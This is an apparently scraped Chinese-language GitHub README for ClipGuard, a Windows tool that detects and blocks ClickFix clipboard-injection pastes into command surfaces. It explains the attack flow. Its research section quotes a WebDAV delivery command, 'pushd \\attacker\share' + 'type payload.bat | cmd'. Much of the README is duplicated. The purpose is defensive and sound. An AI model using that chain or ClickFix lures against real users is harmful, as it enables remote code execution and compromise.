CertainlyP/ClipGuard
GitHub: CertainlyP/ClipGuard
一款针对 Windows 平台 ClickFix 剪贴板注入攻击的实时检测与拦截工具,利用剪贴板格式差异识别 JavaScript 静默写入的恶意命令。
Stars: 4 | Forks: 0
# ClipGuard
针对 Windows 上 ClickFix 剪贴板注入攻击的实时检测工具。
ClipGuard 监控剪贴板活动,并在可疑的粘贴操作执行前将其拦截——专门针对 ClickFix 技术,即通过伪造的验证页面诱骗用户粘贴恶意命令。
## 问题背景
ClickFix 攻击的运作方式如下:
1. 受害者访问一个显示伪造 CAPTCHA 或验证提示的页面
2. JavaScript 静默地将恶意命令(通常是 PowerShell)复制到剪贴板
3. 页面指示用户按下 Win+R,粘贴 (Ctrl+V),然后按 Enter
4. 用户在不知情的情况下自行执行了 payload——从而绕过了传统的安全控制
核心洞察:当 JavaScript 通过 `navigator.clipboard.writeText()` 写入剪贴板时,剪贴板仅包含 `CF_UNICODETEXT`——当用户手动选择并复制网页上的文本时,浏览器会将 `CF_UNICODETEXT` 和 `CF_HTML` 都放入剪贴板。ClipGuard 利用这种格式差异作为其主要检测信号之一。
## 工作原理
ClipGuard 在系统托盘中运行,并采用多层检测机制:
1. **剪贴板来源追踪** — 监听 `WM_CLIPBOARDUPDATE` 消息,并记录每次剪贴板更改的源进程、存在的剪贴板格式(`CF_HTML` vs `CF_UNICODETEXT`)、内容长度以及内容预览。
2. **执行面检测** — 识别前台窗口是否为命令执行面:运行对话框 (Win+R)、cmd.exe、powershell.exe、pwsh.exe 或 Windows Terminal。
3. **键盘钩子 (Ctrl+V 拦截)** — 低级键盘钩子 (`WH_KEYBOARD_LL`) 拦截 Ctrl+V 按键。当尝试将来自浏览器的剪贴板内容粘贴到执行面时,ClipGuard 会评估威胁。
4. **基于格式的判定** — 如果剪贴板内容来自浏览器且仅包含文本(无 `CF_HTML`),则将其标记为可疑——这表明很可能是 JavaScript 剪贴板写入,而不是用户发起的复制(无 HTML 指示)。粘贴操作将被阻止,用户会在决定允许或阻止之前看到包含剪贴板内容的警报。
## 演示
## 检测逻辑
```
Clipboard updated by browser?
-- YES: User pastes (Ctrl+V) into execution surface?
-- YES: Clipboard has CF_UNICODETEXT only (no CF_HTML)?
-- YES: BLOCK — Suspected ClickFix (JS clipboard write)
-- NO: Strict Mode on?
-- YES: WARN — User copy, but going to exec surface
-- NO: ALLOW
```
## 支持的执行面
- 运行对话框 (Win+R) — 通过窗口类 `#32770` + `explorer.exe` 下的 `ComboBox` 子窗口检测
- cmd.exe — 进程名匹配
- powershell.exe / pwsh.exe — 进程名匹配
- Windows Terminal (wt.exe) — 进程名匹配
## 监控的浏览器
Edge, Chrome, Firefox, Brave, Opera, Vivaldi, Chromium, Arc
## 安装
前置条件:
- Windows 10/11
- .NET 8.0 Runtime (https://dotnet.microsoft.com/download/dotnet/8.0)
- 以管理员身份运行(低级键盘钩子需要此权限)
从源码构建:
```
git clone https://github.com/CertainlyP/ClipGuard.git
cd ClipGuard
dotnet build -c Release
```
或者从 Releases 页面下载编译好的二进制文件。
## 使用方法
1. 以管理员身份运行 ClipGuard.exe
2. ClipGuard 会以绿色盾牌图标出现在系统托盘中
3. 右键点击托盘图标查看选项:状态、打开日志、严格模式、退出
当检测到可疑粘贴时,ClipGuard 会显示一个警报,包含剪贴板内容预览、源进程和 PID、剪贴板格式分析,以及阻止或允许粘贴的选项。
日志写入位置:%APPDATA%\ClipGuard\shield.log
## 局限性
- 键盘钩子需要管理员权限
- 不阻止执行——它拦截粘贴操作并警告用户
- 合法网站上的复制按钮(例如 GitHub 代码块)也会使用 JS 剪贴板写入并触发警报——这是设计如此,因为用户在粘贴到终端之前应该进行验证
- 目前不监控 Win+R 后接手动输入的情况(仅 Ctrl+V 粘贴)
## 研究
此工具基于对 ClickFix 攻击机制的原创研究:
- 剪贴板格式元数据作为检测信号 — `CF_HTML` 的存在区分了用户复制和 JavaScript `navigator.clipboard.writeText()` 调用
- 基于 WebDAV 的 ClickFix 投递链 — `pushd \\attacker\share` + `type payload.bat | cmd` 变体
- 执行面指纹识别 — 通过窗口类和子控件枚举以编程方式识别运行对话框
## 许可证
MIT
## 检测逻辑
```
Clipboard updated by browser?
-- YES: User pastes (Ctrl+V) into execution surface?
-- YES: Clipboard has CF_UNICODETEXT only (no CF_HTML)?
-- YES: BLOCK — Suspected ClickFix (JS clipboard write)
-- NO: Strict Mode on?
-- YES: WARN — User copy, but going to exec surface
-- NO: ALLOW
```
## 支持的执行面
- 运行对话框 (Win+R) — 通过窗口类 `#32770` + `explorer.exe` 下的 `ComboBox` 子窗口检测
- cmd.exe — 进程名匹配
- powershell.exe / pwsh.exe — 进程名匹配
- Windows Terminal (wt.exe) — 进程名匹配
## 监控的浏览器
Edge, Chrome, Firefox, Brave, Opera, Vivaldi, Chromium, Arc
## 安装
前置条件:
- Windows 10/11
- .NET 8.0 Runtime (https://dotnet.microsoft.com/download/dotnet/8.0)
- 以管理员身份运行(低级键盘钩子需要此权限)
从源码构建:
```
git clone https://github.com/CertainlyP/ClipGuard.git
cd ClipGuard
dotnet build -c Release
```
或者从 Releases 页面下载编译好的二进制文件。
## 使用方法
1. 以管理员身份运行 ClipGuard.exe
2. ClipGuard 会以绿色盾牌图标出现在系统托盘中
3. 右键点击托盘图标查看选项:状态、打开日志、严格模式、退出
当检测到可疑粘贴时,ClipGuard 会显示一个警报,包含剪贴板内容预览、源进程和 PID、剪贴板格式分析,以及阻止或允许粘贴的选项。
日志写入位置:%APPDATA%\ClipGuard\shield.log
## 局限性
- 键盘钩子需要管理员权限
- 不阻止执行——它拦截粘贴操作并警告用户
- 合法网站上的复制按钮(例如 GitHub 代码块)也会使用 JS 剪贴板写入并触发警报——这是设计如此,因为用户在粘贴到终端之前应该进行验证
- 目前不监控 Win+R 后接手动输入的情况(仅 Ctrl+V 粘贴)
## 研究
此工具基于对 ClickFix 攻击机制的原创研究:
- 剪贴板格式元数据作为检测信号 — `CF_HTML` 的存在区分了用户复制和 JavaScript `navigator.clipboard.writeText()` 调用
- 基于 WebDAV 的 ClickFix 投递链 — `pushd \\attacker\share` + `type payload.bat | cmd` 变体
- 执行面指纹识别 — 通过窗口类和子控件枚举以编程方式识别运行对话框
## 许可证
MIT标签:C++, ClickFix 防护, DNS 反向解析, EDR 工具, JSONLines, OpenCanary, PowerShell 攻击防御, RFI远程文件包含, Win32 API, Windows 安全, 剪贴板监控, 反钓鱼, 实时防护, 底层钩子, 执行面检测, 数据擦除, 滥用防护, 社会工程学防御, 端点可见性, 系统托盘工具, 终端安全, 零信任